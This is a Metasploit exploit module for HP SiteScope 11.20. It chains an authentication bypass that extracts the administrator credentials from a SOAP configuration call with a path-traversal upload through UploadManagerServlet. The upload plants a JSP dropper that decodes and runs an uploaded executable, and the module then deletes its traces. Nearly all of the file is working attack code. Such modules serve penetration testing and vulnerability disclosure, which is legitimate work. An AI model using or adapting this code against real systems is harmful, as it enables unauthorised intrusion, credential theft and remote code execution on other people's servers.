## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'HP SiteScope Remote Code Execution', 'Description' => %q{ This module exploits a code execution flaw in HP SiteScope. It exploits two vulnerabilities in order to get its objective. An authentication bypass in the getSiteScopeConfiguration operation, available through the APISiteScopeImpl AXIS service, to retrieve the administrator credentials and subsequently abuses the UploadManagerServlet to upload an arbitrary payload embedded in a JSP. The module has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2. }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '85120' ], [ 'OSVDB', '85121' ], [ 'BID', '55269' ], [ 'BID', '55273' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-173/' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-174/' ] ], 'Privileged' => true, 'Platform' => 'win', 'Targets' => [ [ 'HP SiteScope 11.20 / Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 29 2012')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) ], self.class) end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm("../#{@var_hexfile}.txt") client.fs.file.rm("../#{@jsp_name}.jsp") else client.shell_command_token("del ..\\#{@var_hexfile}.txt") client.shell_command_token("del ..\\#{@jsp_name}.jsp") end end def exploit @peer = "#{rhost}:#{rport}" @uri = target_uri.path @uri << '/' if @uri[-1,1] != '/' # Retrieve administrator credentials print_status("#{@peer} - Retrieving HP SiteScope Configuration") conf = access_configuration if not conf or conf.empty? print_error("#{@peer} - Failed to retrieve the HP SiteScope Configuration") return end print_status("#{@peer} - Retrieving HP SiteScope administrator credentials") admin_data = conf.split("\x03\x5F\x69\x64\x74\x00\x0D\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x6F\x72\x74\x00")[1] if not admin_data or admin_data.empty? print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials") return end admin_password = admin_data.split(/\x09_passwordt\x00/)[1] if not admin_password or admin_password.empty? print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials") return end password_length = admin_password.unpack("C").first if password_length > 0 password = admin_password[1, password_length] else password = "" end admin_user_type, admin_user = admin_password.split(/\x06(_login[q|t])\x00/)[1, 2] if not admin_user_type or admin_user_type.empty? print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials") return end if admin_user_type == "_logint" if not admin_user or admin_user.empty? print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials") return end user_length = admin_user.unpack("C").first else user_length = 0 end if user_length > 0 user = admin_user[1, user_length] else user = "" end # Generate an initial JSESSIONID print_status("#{@peer} - Retrieving an initial JSESSIONID") res = send_request_cgi( 'uri' => "#{@uri}servlet/Main", 'method' => 'POST', ) if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/ session_id = $1 else print_error("#{@peer} - Retrieve of initial JSESSIONID failed") return end # Authenticate login_data = "j_username=#{user}&j_password=#{password}" print_status("#{@peer} - Authenticating on HP SiteScope Configuration") res = send_request_cgi( { 'uri' => "#{@uri}j_security_check", 'method' => 'POST', 'data' => login_data, 'ctype' => "application/x-www-form-urlencoded", 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) if res and res.code == 302 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/ session_id = $1 redirect = URI(res.headers['Location']).path else print_error("#{@peer} - Authentication on SiteScope failed") return end # Follow redirection to complete authentication process print_status("#{@peer} - Following redirection to finish authentication") res = send_request_cgi( { 'uri' => redirect, 'method' => 'GET', 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) if not res or res.code != 200 print_error("#{@peer} - Authentication on SiteScope failed") return end # Upload the JSP and the raw payload @jsp_name = rand_text_alphanumeric(8+rand(8)) # begin <payload>.jsp var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) var_data = Rex::Text.rand_text_alpha(rand(8)+8) var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) var_counter = Rex::Text.rand_text_alpha(rand(8)+8) var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) var_comb = Rex::Text.rand_text_alpha(rand(8)+8) var_exe = Rex::Text.rand_text_alpha(rand(8)+8) @var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) var_proc = Rex::Text.rand_text_alpha(rand(8)+8) var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) jspraw = "<%@ page import=\"java.io.*\" %>\n" jspraw << "<%\n" jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n" jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n" jspraw << "String #{var_data} = \"\";\n" jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n" jspraw << "}\n" jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n" jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n" jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n" jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n" jspraw << "#{var_inputstream}.read(#{var_bytearray});\n" jspraw << "#{var_inputstream}.close();\n" jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n" jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n" jspraw << "{\n" jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n" jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n" jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n" jspraw << "#{var_comb} <<= 4;\n" jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n" jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n" jspraw << "}\n" jspraw << "#{var_outputstream}.write(#{var_bytes});\n" jspraw << "#{var_outputstream}.close();\n" jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n" jspraw << "String[] #{var_fperm} = new String[3];\n" jspraw << "#{var_fperm}[0] = \"chmod\";\n" jspraw << "#{var_fperm}[1] = \"+x\";\n" jspraw << "#{var_fperm}[2] = #{var_exepath};\n" jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n" jspraw << "if (#{var_proc}.waitFor() == 0) {\n" jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" jspraw << "}\n" # Linux and other UNICES allow removing files while they are in use... jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n" jspraw << "} else {\n" # Windows does not .. jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" jspraw << "}\n" jspraw << "%>\n" # Specify the payload in hex as an extra file.. payload_hex = payload.encoded_exe.unpack('H*')[0] post_data = Rex::MIME::Message.new post_data.add_part(payload_hex, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"") print_status("#{@peer} - Uploading the payload") res = send_request_cgi( { 'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=..\\..\\..\\..\\..\\..\\#{@var_hexfile}.txt&UploadFilesHandler.ovveride=true", 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/ path = $1 print_good("#{@peer} - Payload successfully uploaded to #{path}") else print_error("#{@peer} - Error uploading the Payload") return end post_data = Rex::MIME::Message.new post_data.add_part(jspraw, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"") print_status("#{@peer} - Uploading the JSP") res = send_request_cgi( { 'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=..\\..\\..\\..\\..\\..\\#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true", 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/ path = $1 print_good("#{@peer} - JSP successfully uploaded to #{path}") else print_error("#{@peer} - Error uploading the JSP") return end print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...") send_request_cgi( { 'uri' => "#{@uri}#{@jsp_name}.jsp", 'method' => 'GET', 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) end def access_configuration data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n" data << "<wsns0:Envelope" + "\r\n" data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n" data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n" data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n" data << ">" + "\r\n" data << "<wsns0:Body" + "\r\n" data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n" data << ">" + "\r\n" data << "<impl:getSiteScopeConfiguration" + "\r\n" data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n" data << "></impl:getSiteScopeConfiguration>" + "\r\n" data << "</wsns0:Body>" + "\r\n" data << "</wsns0:Envelope>" res = send_request_cgi({ 'uri' => "#{@uri}services/APISiteScopeImpl", 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, 'headers' => { 'SOAPAction' => '""', }}) if res and res.code == 200 if res.headers['Content-Type'] =~ /boundary="(.*)"/ boundary = $1 end if not boundary or boundary.empty? return nil end if res.body =~ /getSiteScopeConfigurationReturn href="cid:([A-F0-9]*)"/ cid = $1 end if not cid or cid.empty? return nil end if res.body =~ /#{cid}>\r\n\r\n(.*)\r\n--#{boundary}/m loot = Rex::Text.ungzip($1) end if not loot or loot.empty? return nil end return loot end return nil end end